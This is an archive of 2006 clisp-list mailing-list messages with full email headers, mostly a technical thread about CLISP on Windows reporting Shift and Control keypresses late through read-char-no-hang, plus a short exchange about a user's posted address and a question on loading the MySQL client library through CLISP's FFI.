X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Wed, 17 May 2006 13:23:26 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] spam/phish city, here I come! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 10:24:01 2006 X-Original-Date: Wed, 17 May 2006 13:23:19 -0400 (EDT) Is there a way to unpost a message? I sent my real address instead of my list specific easily changed address. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From eleuteri@myrealbox.com Wed May 17 11:03:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgQMQ-0003Y7-9p for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:03:02 -0700 Received: from smtp2.mundo-r.com ([212.51.32.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgQMO-0003IS-Qd for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:03:02 -0700 Received: from unknown (HELO enterprise) ([213.60.77.115]) by smtp2.mundo-r.com with SMTP; 17 May 2006 20:02:54 +0200 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AQAAAKD/akQ X-IronPort-AV: i="4.05,138,1146434400"; d="scan'208"; a="11422969:sNHT17968825" Message-ID: <003101c679dc$1ebce620$0302a8c0@enterprise> From: "David Picon Alvarez" To: References: <000b01c679d3$338d33b0$0302a8c0@enterprise> <200605171716.k4HHGsDt072336@grant.org> Subject: Re: [clisp-list] Weird behaviour on keyboard reading Organization: Comusis S.L. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1807 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1807 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 11:04:02 2006 X-Original-Date: Wed, 17 May 2006 20:02:53 +0200 > That's your operating system doing you a "favor" by optimizing your > I/O for buffered throughput instead of interactivity. > I know of no portable fix for this but > ask your local MS-Windows wiz. Hmm, are you sure this is the case? When I use the call (read-char *keyboard-input*) the function waits until a key is pressed, and if such key is shift, control, etc, it is duely detected and reported. For example: [1]> (read-char *keyboard-input*) #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT) [2]> So it seems the buffering issue is not it? --David. From pjb@informatimago.com Wed May 17 11:07:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgQQY-00043h-Lz for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:07:18 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgQQW-0004PH-U3 for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:07:18 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B126F58344; Wed, 17 May 2006 20:07:11 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8E8DC5833D; Wed, 17 May 2006 20:07:08 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4261887AD; Wed, 17 May 2006 20:07:08 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17515.26188.230964.117676@thalassa.informatimago.com> To: "David Picon Alvarez" Cc: Subject: Re: [clisp-list] Weird behaviour on keyboard reading In-Reply-To: <000b01c679d3$338d33b0$0302a8c0@enterprise> References: <000b01c679d3$338d33b0$0302a8c0@enterprise> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 11:08:04 2006 X-Original-Date: Wed, 17 May 2006 20:07:08 +0200 David Picon Alvarez writes: > Hello, > > I am running clisp under windows. The following code > (loop > > (if (setq a (read-char-no-hang *keyboard-input*)) (print a))) > > > > Behaves in a counterintuitive (to me) way. > > > > The expected result would be a loop that would print any key pressed. The > actual result differs. Pressing shift, or control, or such, doesn't give > rise to immediate result, but later pressing return prints both the return > and the former shift, control, etc. Any clues what I am doing wrong? Or > suggestions on a better way to do this? Note that *keyboard-input* gets its bytes from the terminal drivers. What's the ASCII code for Control? or for Shift? To make it easy for you, here is the ASCII code chart: 0 NUL 1 SOH 2 STX 3 ETX 4 EOT 5 ENQ 6 ACK 7 BEL 8 BS 9 TAB 10 LF 11 VT 12 FF 13 CR 14 SO 15 SI 16 DLE 17 DC1 18 DC2 19 DC3 20 DC4 21 NAK 22 SYN 23 ETB 24 CAN 25 EM 26 SUB 27 ESC 28 FS 29 GS 30 RS 31 US 32 SP 33 ! 34 " 35 # 36 $ 37 % 38 & 39 ' 40 ( 41 ) 42 * 43 + 44 , 45 - 46 . 47 / 48 0 49 1 50 2 51 3 52 4 53 5 54 6 55 7 56 8 57 9 58 : 59 ; 60 < 61 = 62 > 63 ? 64 @ 65 A 66 B 67 C 68 D 69 E 70 F 71 G 72 H 73 I 74 J 75 K 76 L 77 M 78 N 79 O 80 P 81 Q 82 R 83 S 84 T 85 U 86 V 87 W 88 X 89 Y 90 Z 91 [ 92 \ 93 ] 94 ^ 95 _ 96 ` 97 a 98 b 99 c 100 d 101 e 102 f 103 g 104 h 105 i 106 j 107 k 108 l 109 m 110 n 111 o 112 p 113 q 114 r 115 s 116 t 117 u 118 v 119 w 120 x 121 y 122 z 123 { 124 | 125 } 126 ~ 127 DEL See some "Control" or some "Shift"? -- __Pascal Bourguignon__ http://www.informatimago.com/ "Klingon function calls do not have "parameters" -- they have "arguments" and they ALWAYS WIN THEM." From pjb@informatimago.com Wed May 17 11:08:17 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgQRV-0004Cx-0T for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:08:17 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgQRU-0005BE-WF for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:08:17 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgQRT-00031R-Dd for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:08:16 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 297AE585C8; Wed, 17 May 2006 20:08:09 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4931A5833D; Wed, 17 May 2006 20:08:07 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 23C6087AD; Wed, 17 May 2006 20:08:07 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17515.26247.116333.719993@thalassa.informatimago.com> To: Devon Sean McCullough Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] spam/phish city, here I come! In-Reply-To: <200605171723.k4HHNJMk079307@grant.org> References: <200605171723.k4HHNJMk079307@grant.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 11:09:01 2006 X-Original-Date: Wed, 17 May 2006 20:08:07 +0200 Devon Sean McCullough writes: > Is there a way to unpost a message? > I sent my real address instead of my > list specific easily changed address. Oowoowooowooow! So We got your real address now! Miam miam! -- __Pascal Bourguignon__ http://www.informatimago.com/ "Klingon function calls do not have "parameters" -- they have "arguments" and they ALWAYS WIN THEM." From Devon@Jovi.Net Wed May 17 11:15:20 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgQYK-0005DE-9q for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:15:20 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgQYK-0005HT-8C for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:15:20 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FgQYI-00053o-Ql for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:15:20 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4HIEqiH034779 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 May 2006 14:14:53 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4HIEqLM034776; Wed, 17 May 2006 14:14:52 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605171814.k4HIEqLM034776@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "David Picon Alvarez" CC: clisp-list@lists.sourceforge.net In-reply-to: <003101c679dc$1ebce620$0302a8c0@enterprise> (eleuteri@myrealbox.com) Subject: Re: [clisp-list] Weird behaviour on keyboard reading References: <000b01c679d3$338d33b0$0302a8c0@enterprise> <200605171716.k4HHGsDt072336@grant.org> <003101c679dc$1ebce620$0302a8c0@enterprise> X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Wed, 17 May 2006 14:15:07 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 11:16:08 2006 X-Original-Date: Wed, 17 May 2006 14:14:52 -0400 (EDT) From: "David Picon Alvarez" Date: Wed, 17 May 2006 20:02:53 +0200 > That's your operating system doing you a "favor" by optimizing your > I/O for buffered throughput instead of interactivity. > I know of no portable fix for this but > ask your local MS-Windows wiz. Hmm, are you sure this is the case? When I use the call (read-char *keyboard-input*) the function waits until a key is pressed, and if such key is shift, control, etc, it is duely detected and reported. For example: [1]> (read-char *keyboard-input*) #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT) So it seems the buffering issue is not it? Huh, the MS-Windows implementation is better than the BSD implementation then. I agree it should activate on every key but that is not what it does for me nor would my system be able to get modifier keys except maybe in X Windows. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From Devon@Jovi.Net Wed May 17 11:32:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgQpL-0007Dp-L2 for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:32:55 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FgQpK-000338-Av for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 11:32:55 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k4HIWQcK055831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 May 2006 14:32:27 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k4HIWEcI055527; Wed, 17 May 2006 14:32:14 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605171832.k4HIWEcI055527@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: CC: clisp-list@lists.sourceforge.net In-reply-to: <17515.26247.116333.719993@thalassa.informatimago.com> (message from Pascal Bourguignon on Wed, 17 May 2006 20:08:07 +0200) References: <200605171723.k4HHNJMk079307@grant.org> <17515.26247.116333.719993@thalassa.informatimago.com> X-Spam-Status: No, score=-3.1 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Wed, 17 May 2006 14:32:38 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] MySQL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 11:33:23 2006 X-Original-Date: Wed, 17 May 2006 14:32:14 -0400 (EDT) I realize the CLISP-MySQL FFI is not ready for prime time but does anyone have a real life example of at least some minimal communication between them? ... (pushnew #P"/usr/local/lib/mysql/" *FOREIGN-LIBRARY-SEARCH-PATHS* :test #'equal) (#P"/usr/local/lib/mysql/") ... (load-foreign-library "clsql-3.5.6/uffi/clsql_uffi.so" :module "clsql-uffi" :supporting-libraries '("c")) NIL ... (clsql:connect ... :database-type ':MySQL) Couldn't load foreign libraries #P"/usr/local/lib/mysql/libmysqlclient", #P"/usr/local/lib/mysql/libmysql", "libmysqlclient", "libmysql". (searched *FOREIGN-LIBRARY-SEARCH-PATHS*) I see /usr/local/lib/mysql/libmysqlclient.so{,.6,.10} but no idea why it couldn't load it. Nothing else has libmysql in the name, should it exist? Peace --Devon PS: Oowoowooowooow! So We got your real address now! Miam miam! LOL! From Joerg-Cyril.Hoehle@t-systems.com Wed May 17 13:08:47 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgSK6-0002CS-PS for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 13:08:46 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgSK6-0006ax-ON for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 13:08:46 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgSK5-0001aN-4L for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 13:08:46 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 17 May 2006 22:08:37 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 17 May 2006 22:08:37 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: eleuteri@myrealbox.com Subject: Re: [clisp-list] Weird behaviour on keyboard reading MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 13:09:07 2006 X-Original-Date: Wed, 17 May 2006 22:08:32 +0200 David Picon Alvarez writes: >I am running clisp under windows. The following code >(loop > (if (setq a (read-char-no-hang *keyboard-input*)) (print a))) >Behaves in a counterintuitive (to me) way. Could you be more precise? What's printed? What behaviour do you expect = instead? I'd like MS-Windows users to comment upon whether SHIFT / CTRL etc. = should generate individual events, instead of an event only when = combined with another key, e.g. #\a? My opinion is "no", because it's not the case with raw mode on UNIX = (which is what I'm used to): there, shift / ctrl only appear when = combined with regular keys. Identical behaviour across CLISP platforms = seems a good goal. I just wrote the following bug report, not knowing about your problem: http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1490439&gro= up_id=3D1355&atid=3D101355 It appears related: you reveal an inconsistent READ-CHAR-NO-HANG = behaviour with *KEYBOARD-INPUT* precisely in these distinghuishing = SHIFT/CTRL case. Old clisp-2.28 would not be inconsistent since then, = SHIFT or CTRL alone would not return individual INPUT-CHARACTER events. >The expected result would be a loop that would print any key pressed. >Pressing shift, or control, or such, doesn't give >rise to immediate result, but later pressing return prints=20 >both the return and the former shift, control, etc. Trying it out... Indeed, that's inconsistent. Not pressing any = character key, just shift or ctrl will cause the application to see = nothing. Only when a character key is pressed are plenty of events = received, the last corresponding to that character key, all others to = shift / control alone - delayed. #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT) #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT) #S(SYSTEM::INPUT-CHARACTER :CHAR NIL :BITS 4 :FONT 0 :KEY :SHIFT) #S(SYSTEM::INPUT-CHARACTER :CHAR #\a :BITS 0 :FONT 0 :KEY NIL) Regards, J=F6rg H=F6hle. From jdunrue@gmail.com Wed May 17 14:04:37 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgTC9-0000eJ-Nx for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 14:04:37 -0700 Received: from wx-out-0102.google.com ([66.249.82.193]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgTC9-0003Zu-FE for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 14:04:37 -0700 Received: by wx-out-0102.google.com with SMTP id s10so233410wxc for ; Wed, 17 May 2006 14:04:36 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=V8tapPT/n5h0/GlLS//UvH5kiJCa789qvmpU1Jmf01Mim0Rmw2dt2XBgPD4NaABduEQFJoeB3NvvpP8ML7L3nLVSJmdvDiv1mmJenrbKQLOHT6xw5HlV5YVol/1Z42dxsHW1lOeW3gddTcJrH3JwhLJduFnliEPzYVahFbyZwtc= Received: by 10.70.11.20 with SMTP id 20mr1686716wxk; Wed, 17 May 2006 14:04:36 -0700 (PDT) Received: by 10.70.14.20 with HTTP; Wed, 17 May 2006 14:04:36 -0700 (PDT) Message-ID: From: "Jack Unrue" To: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Weird behaviour on keyboard reading Cc: clisp-list@lists.sourceforge.net, eleuteri@myrealbox.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 14:05:07 2006 X-Original-Date: Wed, 17 May 2006 15:04:36 -0600 On 5/17/06, Hoehle, Joerg-Cyril wrote: > David Picon Alvarez writes: > >I am running clisp under windows. The following code > >(loop > > (if (setq a (read-char-no-hang *keyboard-input*)) (print a))) > >Behaves in a counterintuitive (to me) way. > > Could you be more precise? What's printed? What behaviour do you expect i= nstead? > > I'd like MS-Windows users to comment upon whether SHIFT / CTRL etc. > should generate individual events, instead of an event only when combined > with another key, e.g. #\a? My opinion is "no", because it's not the case > with raw mode on UNIX (which is what I'm used to): there, shift / ctrl on= ly > appear when combined with regular keys. Identical behaviour across CLISP > platforms seems a good goal. The CLHS defines read-char-no-hang in terms of `characters.' In my view, in this context Ctrl/Shift/Alt are modifiers, not characters. This is a function dealing with streams and thus we are at a level of abstraction above the system's native representation of keys on the keyboard. One of the ways to see the difference in abstraction, at least as far as Windows is concerned, is to look at what happens at the message loop level. One can see by calling MapVirtualKey with the virtual key code for e.g. Shift (which you would get from handling WM_KEYDOWN/WM_KEYUP) that there is no mapping. Thus you don't get Shift et al reported via WM_CHAR messages. I don't think read-char-no-hang is intended to be stretched so far as to return entities that are not considered characters, and thus Shift/Ctrl would never appear in an input stream. So my vote would be `no'. I think that if you want to work with keys in terms of events and non-translateable codes, then a) you have to assume that there is a console window open, and b) you have to write code against the Windows API. --=20 Jack Unrue From jdunrue@gmail.com Wed May 17 15:07:19 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FgUAo-0008QO-Qm for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 15:07:18 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FgUAo-00004t-RB for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 15:07:18 -0700 Received: from wx-out-0102.google.com ([66.249.82.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FgUAn-00070U-Ge for clisp-list@lists.sourceforge.net; Wed, 17 May 2006 15:07:18 -0700 Received: by wx-out-0102.google.com with SMTP id s10so2356wxc for ; Wed, 17 May 2006 15:07:16 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=OVm1dHxcwYpRsH3fPCVg94uTLGEoDbHK38hJ69FfxNtF+3OENs8YeVw4Jqkdtuk1TMMM8NCHNsNm30mQCl5beBYxJiixNSvc5tYCHZa5PcZaoYM1atHwenV5meSaULszZuVpmP6tYkHgUWMc1OOyeXZ/K33ONB6JvbdYzYzQ6TM= Received: by 10.70.59.2 with SMTP id h2mr1138940wxa; Wed, 17 May 2006 15:07:16 -0700 (PDT) Received: by 10.70.14.20 with HTTP; Wed, 17 May 2006 15:07:15 -0700 (PDT) Message-ID: From: "Jack Unrue" To: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Weird behaviour on keyboard reading Cc: clisp-list@lists.sourceforge.net, eleuteri@myrealbox.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 17 15:08:04 2006 X-Original-Date: Wed, 17 May 2006 16:07:16 -0600 On 5/17/06, Jack Unrue wrote: > > So my vote would be `no'. I think that if you want to work with keys > in terms of events and non-translateable codes, then a) you have > to assume that there is a console window open, and b) you have > to write code against the Windows API. Let me amend that slightly. I have no problem if somebody created a portable layer for this sort of thing. I really just meant that IMHO this is an area outside the purview of functions defined by the CLHS. --=20 Jack From perpetualstranger-clisp@yahoo.com Mon May 15 13:30:47 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FfjiJ-00010a-Sw for clisp-list@lists.sourceforge.net; Mon, 15 May 2006 13:30:47 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FfjiJ-0002Ji-U2 for clisp-list@lists.sourceforge.net; Mon, 15 May 2006 13:30:47 -0700 Received: from web81210.mail.mud.yahoo.com ([68.142.199.114]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FfjiJ-0000qa-Jv for clisp-list@lists.sourceforge.net; Mon, 15 May 2006 13:30:47 -0700 Received: (qmail 27445 invoked by 